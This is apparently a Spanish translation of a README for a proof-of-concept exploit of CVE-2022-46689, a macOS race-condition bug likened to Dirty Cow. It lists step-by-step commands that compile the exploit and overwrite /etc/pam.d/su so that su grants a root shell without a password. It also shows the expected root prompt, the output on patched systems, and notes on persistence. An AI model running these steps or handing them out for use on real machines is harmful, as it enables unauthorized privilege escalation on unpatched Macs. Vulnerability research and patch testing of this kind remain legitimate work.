
Obtén root en macOS 13.0.1 con CVE-2022-46689 (el equivalente en macOS de la vulnerabilidad Dirty Cow), usando el caso de prueba extraído del código fuente de XNU de Apple.
Obtén root en macOS 13.0.1 con CVE-2022-46689 (el equivalente en macOS del bug Dirty Cow), usando el caso de prueba extraído del código fuente de XNU de Apple.
https://worthdoingbadly.com/macdirtycow/
En una máquina con macOS 13.0.1 / 12.6.1 (o inferior), ejecuta:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Deberías obtener:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Probado en macOS 13 beta (22A5266r) con SIP desactivado (debería funcionar igualmente con SIP activado).
Si tu sistema está completamente parcheado (macOS 13.1 / 12.6.2), en su lugar debería mostrar:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
y ejecutar su debería seguir pidiendo una contraseña.
Gracias al volumen de sistema sellado, ejecutar esto sobre cualquier archivo del volumen /System solo modifica el archivo temporalmente: se revierte al reiniciar. Ejecutarlo sobre un archivo en un volumen con permisos de escritura conservará la modificación después de un reinicio.
/etc/pam.d.